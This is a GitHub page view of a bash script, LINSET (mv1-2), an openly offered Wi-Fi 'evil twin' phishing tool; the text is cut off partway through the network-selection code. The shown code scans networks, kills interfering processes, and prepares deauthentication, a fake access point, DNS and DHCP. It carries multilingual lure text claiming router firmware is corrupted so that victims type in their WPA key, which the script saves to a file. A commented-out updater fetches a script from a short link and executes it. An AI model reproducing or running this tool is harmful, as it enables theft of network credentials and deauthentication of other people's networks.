-
Notifications
You must be signed in to change notification settings - Fork 46
/
Copy pathlinsetmv1-2.sh
4312 lines (3932 loc) · 233 KB
/
linsetmv1-2.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
########## Modo DEBUG ##########
## ##
LINSET_DEBUG=0
## ##
################################
#################################################################
# #
# # -*- ENCODING: UTF-8 -*- #
# This script is free software. You can redistribute it and / or#
# modify-so under the terms of the General Public License #
# GNU as published by the Free Software Foundation, #
# either version 3 of the License, or (at your #
# option) any later version. #
# #
# If you make any changes in this application, #
# should always mention the original author thereof. #
# #
# Author: Script created by vk496 #
# Translated by: chunkingz #
# #
# Integrated functions airoscript-ng #
# Objective Function Selection handshaker #
# Intro taken from ONO Netgear WPA2 Hack #
# #
# Greetings #
# #
#################################################################
#
# >> i removed the version changes info, cos am lazy af... <<
# original script by vk496
# revamped by MTeams [musket33]
# translated to English and added old airmon for newer kali linux by me [@chun__king]
#
##########
## Musket Team Notes:
## Originally we thought the only work needed on this program was with airbase-ng. The more
## we dug into the coding the more problems were discovered especially with the web pages.
## MTeams has spent a considerable amount of time debugging this program and trying to get
## the script to function in a WPA Phishing mode. We are still trying to get lighttpd to
## accept https requests. We considered ripping out lighttpd and running apache2 but this
## is a project for a latter time.
## This program writes most of its data to a /tmp/TMPlinset/ folder. This folder is cleared
## by linset at shutdown and the /tmp/ folder is cleared by kali when the computer is shut ## down. Any WPA key phished is loaded into the /tmp/TMPlinset/data.txt files. This file is
## erased when the /tmp/ folder is cleared. To avoid loosing data, the program now loads any ## keys into the /root/linset/allkeys.txt at shutdown. If no keys found scroll to the bottom ## of the text file.
##
## Airbase-ng will now accept spaces in ESSID names.
##
## There is only an English language webpage meant for WPA Phishing
## As the web pages never functioned due to faulty php embedding inside a bash
## programming matrix there is nothing really lost.
## MTeams only worked on the phishing side of the program. All other functions are stock.
################
clear
##################################### < SCRIPT CONFIGURATION > #####################################
# Route data storage
DUMP_PATH="/tmp/TMPlinset"
sleep 2
cat $DUMP_PATH/data.txt >> /root/linset/alldata.txt
sleep 1
rm -R $DUMP_PATH/* &> /dev/null
# Number of deauths
DEAUTHTIME="8"
# Number of revision
revision=33
# Number of version
version=0.13
# IP range that will be used in DHCP
IP=192.168.1.1
# Create a network variable from Gateway
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
#Colors
blanco="\033[1;37m"
gris="\033[0;37m"
magenta="\033[0;35m"
rojo="\033[1;31m"
verde="\033[1;32m"
amarillo="\033[1;33m"
azul="\033[1;34m"
rescolor="\e[0m"
# Sets the script in normal mode or developer
if [ $LINSET_DEBUG = 1 ]; then
## set to /dev/stdout when in developer/debugger mode
export linset_output_device=/dev/stdout
HOLD="-hold"
else
## set to /dev/null when in production mode
export linset_output_device=/dev/null
HOLD=""
fi
# Make clears if the mode is normal
function conditional_clear() {
if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi
}
# Calculates the last revision
#function checkupdatess {
#
# revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/blognetenti/linset" 2>/dev/null| grep "^revision" | cut -d "=" #-f2)"
# if [ -z "$revision_online" ]; then
# echo "?">$DUMP_PATH/Irev
# else
# echo "$revision_online">$DUMP_PATH/Irev
# fi
#
#}
# Animation of the spinner
function spinner {
local pid=$1
local delay=0.15
local spinstr='|/-\'
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
}
# If an error is received, show the line while we are in DEBUG mode
if [ "$LINSET_DEBUG" = "1" ]; then
trap 'err_report $LINENO' ERR
fi
# Communicates line where found error
function err_report {
echo "Error on line $1"
}
# If the script exits unexpectedly, perform the function
trap exitmode SIGINT
# Function that cleans and leaves interfaces
function exitmode {
echo " Copying data in $DUMP_PATH/data.txt file into /root/linset/alldata.txt."
chmod 777 $DUMP_PATH/data.txt
chmod 777 /root/linset/alldata.txt
cat $DUMP_PATH/data.txt >> /root/linset/alldata.txt
echo -e "\n\n"$blanco"["$rojo" "$blanco"] "$rojo"Running cleaning and closing."$rescolor""
if ps -A | grep -q aireplay-ng; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"aireplay-ng"$rescolor""
killall aireplay-ng &>$linset_output_device
fi
if ps -A | grep -q airodump-ng; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"airodump-ng"$rescolor""
killall airodump-ng &>$linset_output_device
fi
if ps a | grep python| grep fakedns; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"python"$rescolor""
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$linset_output_device
fi
if ps -A | grep -q hostapd; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"hostapd"$rescolor""
killall hostapd &>$linset_output_device
fi
if ps -A | grep -q lighttpd; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"lighttpd"$rescolor""
killall lighttpd &>$linset_output_device
fi
if ps -A | grep -q dhcpd; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"dhcpd"$rescolor""
killall dhcpd &>$linset_output_device
fi
if ps -A | grep -q mdk3; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Killing "$gris"mdk3"$rescolor""
killall mdk3 &>$linset_output_device
fi
if [ "$WIFI_MONITOR" != "" ]; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"stopping interface "$verde"$WIFI_MONITOR"$rescolor""
./airmon stop $WIFI_MONITOR &> $linset_output_device
fi
if [ "$WIFI" != "" ]; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"stopping interface "$verde"$WIFI"$rescolor""
./airmon stop $WIFI &> $linset_output_device
fi
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"restoring "$gris"ipforwarding"$rescolor""
echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
fi
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"cleaning Up "$gris"iptables"$rescolor""
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"restoring "$gris"tput"$rescolor""
tput cnorm
# if [ $LINSET_DEBUG != 1 ]; then
#
# echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Eliminando #"$gris"archivos"$rescolor""
# rm -R $DUMP_PATH/* &>$linset_output_device
# fi
echo -e ""$blanco"["$rojo"-"$blanco"] "$blanco"Restarting "$gris"NetworkManager"$rescolor""
service restart networkmanager &> $linset_output_device &
echo -e ""$blanco"["$verde"+"$blanco"] "$verde"CleanUp Process completed successfully!"$rescolor""
exit
}
# Generates list of interfaces in the Script
readarray -t webinterfaces < <(echo -e "Neutral Web Interface
\e[1;31mSalir"$rescolor""
)
# Generates list of languages web
readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG]
Spanish[ESP]
\e[1;31mBack"$rescolor""
)
#English messages web interfaces
dialog_eng_fn()
{
#DIALOG_WEB_INFO_ENG="--- WARNING Do Not RESET Router - PMK Protected Object Firmware Corrupted ____________________"
DIALOG_WEB_INFO_ENG="<b><font color=\"red\" size=\"3\">------- </font></b>WARNING Do Not RESET Router - PMK Protected Object Firmware Corrupted<b><font color=\"red\" size=\"3\"> -------</font></b>"
DIALOG_WEB_INPUT_ENG="<b> To Avoid Total Loss of Router Function Enter Your WPA Key Below:</b>"
#DIALOG_WEB_INPUT_ENG=" To Avoid Total Loss Of Router Function Enter Your WPA Key Below:"
DIALOG_WEB_SUBMIT_ENG="Submit"
DIALOG_WEB_ERROR_ENG="<b><font color=\"red\" size=\"3\">Error</font>:</b> The WPA Key Has <b>NOT</b> Been Accepted! Enter A Password 8 to 63 Characters In Length <b>Only</b>! Please Try Again.</b>"
DIALOG_WEB_OK_ENG="The WPA PMK Firmware Protected Object Will Be Restored. Please <b>RESET</b> The Router At This Time."
DIALOG_WEB_BACK_ENG="Back"
DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters"
DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters"
}
#Spanish messages web interfaces
dialog_esp_fn()
{
DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña <b>"$Host_ENC"</b> para acceder a Internet"
DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:"
DIALOG_WEB_SUBMIT_ESP="Enviar"
DIALOG_WEB_ERROR_ESP="<b><font color=\"red\" size=\"3\">Error</font>:</b> La contraseña introducida <b>NO</b> es correcta!</b>"
DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos."
DIALOG_WEB_BACK_ESP="Atrás"
DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres"
DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres"
}
#Italian messages web interfaces
dialog_ital_fn()
{
DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave <b>"$Host_ENC"</b> per accedere a Internet"
DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:"
DIALOG_WEB_SUBMIT_IT="Invia"
DIALOG_WEB_ERROR_IT="<b><font color=\"red\" size=\"3\">Errore</font>:</b> La password <b>NON</b> è corretta!</b>"
DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti."
DIALOG_WEB_BACK_IT="Indietro"
DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri"
DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri"
}
#French messages web interfaces
dialog_fran_fn()
{
DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire <b>"$Host_ENC"</b> votre clé pour acceder à Internet"
DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:"
DIALOG_WEB_SUBMIT_FR="Valider"
DIALOG_WEB_ERROR_FR="<b><font color=\"red\" size=\"3\">Error</font>:</b> La clé que vous avez introduit <b>NOT</b> est incorrecte!</b>"
DIALOG_WEB_OK_FR="Veuillez patienter quelques instants."
DIALOG_WEB_BACK_FR="Précédent"
DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits"
DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits"
}
#Portugese messages web interfaces
dialog_port_fn()
{
DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet"
DIALOG_WEB_INPUT_POR="Digite sua senha WPA"
DIALOG_WEB_SUBMIT_POR="Enviar"
DIALOG_WEB_ERROR_POR="<b><font Color=\"red\" size=\"3\">Erro</font>:</b> A senha digitada <b>NÃO</b> está correto </b>!"
DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve."
DIALOG_WEB_BACK_POR="Voltar"
DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres"
DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres"
}
# Displays the main message of the script
function mostrarheader(){
conditional_clear
echo -e "$verde#########################################################"
echo -e "$verde# #"
echo -e "$verde#$rojo LINSET $version" "${amarillo}by ""${azul}vk496""$verde #"
echo -e "$verde#""${rojo} L""${amarillo}inset" "${rojo}I""${amarillo}s" "${rojo}N""${amarillo}ot a ""${rojo}S""${amarillo}ocial ""${rojo}E""${amarillo}nginering" "${rojo}T""${amarillo}ool""$verde #"
echo -e "$verde# Modified & Translated by chunkingz #"
echo -e "$verde# follow me @chun__king #"
echo -e "$verde#########################################################""$rescolor"
echo
echo
}
##################################### < SCRIPT CONFIGURATION > #####################################
############################################## < HEAD START > ##############################################
if ! [ $(id -u) = "0" ] 2>/dev/null; then
echo -e "\e[1;31mYou don't have admin privileges"$rescolor""
exit
fi
# Checks for all depencies
function checkdependences {
echo -ne "Aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "./airmon......."
if ! hash ./airmon 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Awk............."
if ! hash awk 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Curl............"
if ! hash curl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Dhcpd..........."
if ! hash dhcpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor" (isc-dhcp-server)"
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Hostapd........."
if ! hash hostapd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Iwconfig........"
if ! hash iwconfig 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Lighttpd........"
if ! hash lighttpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Macchanger......"
if ! hash macchanger 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Mdk3............"
if ! hash mdk3 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Php5-cgi........"
if ! [ -f /usr/bin/php-cgi ]; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Pyrit..........."
if ! hash pyrit 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Python.........."
if ! hash python 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Unzip..........."
if ! hash unzip 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
echo -ne "Xterm..........."
if ! hash xterm 2>/dev/null; then
echo -e "\e[1;31mNot installed"$rescolor""
salir=1
else
echo -e "\e[1;32mOK!"$rescolor""
fi
sleep 0.025
if [ "$salir" = "1" ]; then
exit 1
fi
sleep 1
clear
}
mostrarheader
checkdependences
# Create workbook
if [ ! -d $DUMP_PATH ]; then
mkdir $DUMP_PATH &>$linset_output_device
sleep 1
fi
# Banner
if [ $LINSET_DEBUG != 1 ]; then
echo ""
sleep 0.1 && echo -e $rojo " _ _ _ _ ____ _____ _______"
sleep 0.1 && echo -e $rojo " | | | | \ | |/ ___\/ ___|__ __|"
sleep 0.1 && echo -e $rojo " | | | | \| | |___ | |___ | |"
sleep 0.1 && echo -e $rojo " | | | | . |\___ \| ___| | |"
sleep 0.1 && echo -e $rojo " | |__| | |\ |____| | |___ | |"
sleep 0.1 && echo -e $rojo " |____|_|_| \_|\____/\_____| |_|"
sleep 0.1 && echo ""
sleep 0.1 && echo ""
sleep 0.1 && echo -e $amarillo " _ ______ ___ "$blanco" __"$amarillo" ___ "$verde" __ __ __"
sleep 0.1 && echo -e $amarillo " | | / / __ \/ |"$blanco" / /"$amarillo"|__ \ "$verde" / / / /___ ______/ /__"
sleep 0.1 && echo -e $amarillo " | | /| / / /_/ / /| |"$blanco" / /"$amarillo" __/ /"$verde" / /_/ / __ / ___/ //_/"
sleep 0.1 && echo -e $amarillo " | |/ |/ / ____/ ___ |"$blanco"/ /"$amarillo" / __/ "$verde" / __ / /_/ / /__/ ,<"
sleep 0.1 && echo -e $amarillo " |__/|__/_/ /_/ |_"$blanco"/_/"$amarillo" /____/ "$verde" /_/ /_/\__,_/\___/_/|_|"
sleep 0.1 && echo ""
sleep 0.1 && echo ""
sleep 1
echo -e $rojo" LINSET "$blanco""$version" (rev. "$verde"$revision"$blanco") "$amarillo"by "$blanco" vk496"
sleep 1
echo -e $blanco" Modified "$rojo"and "$amarillo"Translated by "$rojo"chunking"
echo -e $rojo" follow "$amarillo"@chun__king"
sleep 1
echo -e $verde" Visit "$rojo"seguridadwireless.net "$rescolor
sleep 1
echo -n " Latest rev."
tput civis
#checkupdatess
spinner "$!"
#revision_online=$(cat $DUMP_PATH/Irev)
#echo -e ""$blanco" [${magenta}${revision_online}$blanco"$rescolor"]"
# if [ "$revision_online" != "?" ]; then
#
# if [ "$revision" != "$revision_online" ]; then
#
# cp $0 $HOME/linset_rev-$revision.backup
# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L http://goo.gl/Y5JX7c -s -o $0
# echo
# echo
# echo -e ""$rojo"Updated successfully! Rebooting the script to apply the changes..."$rescolor""
# sleep 5
# chmod +x $0
# exec $0
#
# fi
# fi
echo ""
tput cnorm
sleep 2
fi
# Show info for the selected AP
function infoap {
Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'`
echo "Target AP"
echo
echo -e " "$verde"SSID"$rescolor" = $Host_SSID / $Host_ENC"
echo -e " "$verde"Channel"$rescolor" = $channel"
echo -e " "$verde"UpSpeed"$rescolor" = ${speed:2} Mbps"
echo -e " "$verde"MAC Address"$rescolor" = $mac (\e[1;33m$Host_MAC_MODEL"$rescolor")"
echo
}
############################################## < HEAD START > ##############################################
############################################### < MENU > ###############################################
# The optimal resolution of our team is detected
function setresolution {
function resA {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 90x13+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 83x26-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 90x24+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 92x14+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 68x25-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 92x36+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 100x20+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 109x20-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 100x30+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 110x35+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 99x40-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 110x35+0-0"
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 130x43+0+0"
# Upper right window -0+0
TOPRIGHT="-geometry 68x25-0+0"
# Bottom left window +0-0
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF {
# Upper left window +0+0 (size*size+position+position)
TOPLEFT="-geometry 100x17+0+0" # capturing data from victim ... ( VENTANA AIRODUMP ATAUQE )
# Upper right window -0+0
TOPRIGHT="-geometry 90x27-0+0" # deauth
# Bottom left window +0-0
BOTTOMLEFT="-geometry 100x30+0-0" # aireplay , CHOPCHOP , FRAGMENTATION... ( VENTANA BAJO CAPTURAS DE AIRODUMP )
# Bottom right window -0-0
BOTTOMRIGHT="-geometry 90x20-0-0" # ASOCIANDO CON... ( VENTANA ROJA )
TOPLEFTBIG="-geometry 100x70+0+0" # escaneando objetivos ... ( ESCANEO INICIAL )
TOPRIGHTBIG="-geometry 90x27-0+0" # AIRCRACK ... ( BUSQUEDA DE KEYS )
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;; ## a safe fallback option
esac
}
# Choose the interfaces to use
function setinterface {
# Catch all interfaces in monitor mode to stop them
KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
for monkill in ${KILLMONITOR[@]}; do
./airmon stop $monkill >$linset_output_device
echo -n "$monkill, "
done
# Create a variable with the list of physical network interfaces
readarray -t wirelessifaces < <(./airmon |grep "-" | awk '{print $1}')
INTERFACESNUMBER=`./airmon| grep -c "-"`
echo "Musket Version linset-mv1.1 for WPA Phishing"
echo
echo "Modified and Translated to English by chunkingz [follow @chun__king]"
echo
echo " Auto detect resolution..."
echo $detectedresolution
echo
# If there is only one wireless card
if [ "$INTERFACESNUMBER" -gt "0" ]; then
echo " Select the wifi device interface to employ(i.e. wlan0, wlan1 etc.):"
echo
i=0
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e "$verde""$i)"$rescolor" $line"
done
echo -n "#? "
read line
PREWIFI=${wirelessifaces[$line]}
if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
conditional_clear
mostrarheader
setinterface
fi
readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}')
rmmod -f "$WIFIDRIVER" &>$linset_output_device 2>&1
for molesto in "${softwaremolesto[@]}"; do
killall "$molesto" &>$linset_output_device
done
sleep 0.5
modprobe "$WIFIDRIVER" &>$linset_output_device 2>&1
sleep 0.5
# Select an interface
select PREWIFI in $INTERFACES; do
break;
done
WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
WIFI_MONITOR=$WIFIMONITOR
# Sets a variable to the physical interface
WIFI=$PREWIFI
# Close does not detect anything
else
echo Wireless did not match any cards. closing Down...
sleep 5
exitmode
fi
vk496
}
# Intermediary checking validity of the election and prepares the environment
function vk496 {
conditional_clear
CSVDB=dump-01.csv
rm -rf $DUMP_PATH/*
choosescan
selection
}
# Choose whether you want to scan all channels or a specific
function choosescan {
conditional_clear
while true; do
conditional_clear
mostrarheader
echo " Select Channels to Scan with airodump-ng"
echo " To halt scan and continue enter Ctrl-c"
echo " "
echo -e " "$verde"1)"$rescolor" All Channels "
echo -e " "$verde"2)"$rescolor" Select Specific Channels "
echo " "
echo -n " #> "
read yn
echo ""
case $yn in
1 ) Scan ; break ;;
2 ) Scanchan ; break ;;
* ) echo "Unknown option. Choose again"; conditional_clear ;;
esac
done
}
# Choose which channel / is scan if you chose that option
function Scanchan {
conditional_clear
mostrarheader
echo " "
echo " Select Type of Airodump-ng Channel Scan "
echo " "
echo -e " A Single Channel "$verde"6"$rescolor" "
echo -e " A Channel Range "$verde"1-5"$rescolor" "
echo -e " Multiple Channels "$verde"1,2,5-7,11"$rescolor" "
echo " "
echo -n " #> "
read channel_number
set -- ${channel_number}
conditional_clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title "Airodump-ng Scan --> $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR
}
# Escanea toda la red
function Scan {
conditional_clear
xterm $HOLD -title "Airodump-ng Scan ..." $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR
}
# Choose a network of all scanned
function selection {
conditional_clear
mostrarheader
LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
if [ $LINEAS_WIFIS_CSV -le 3 ]; then
vk496 && break
fi
linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Clients)' | awk -F : '{print $1}'`
linap=`expr $linap - 1`
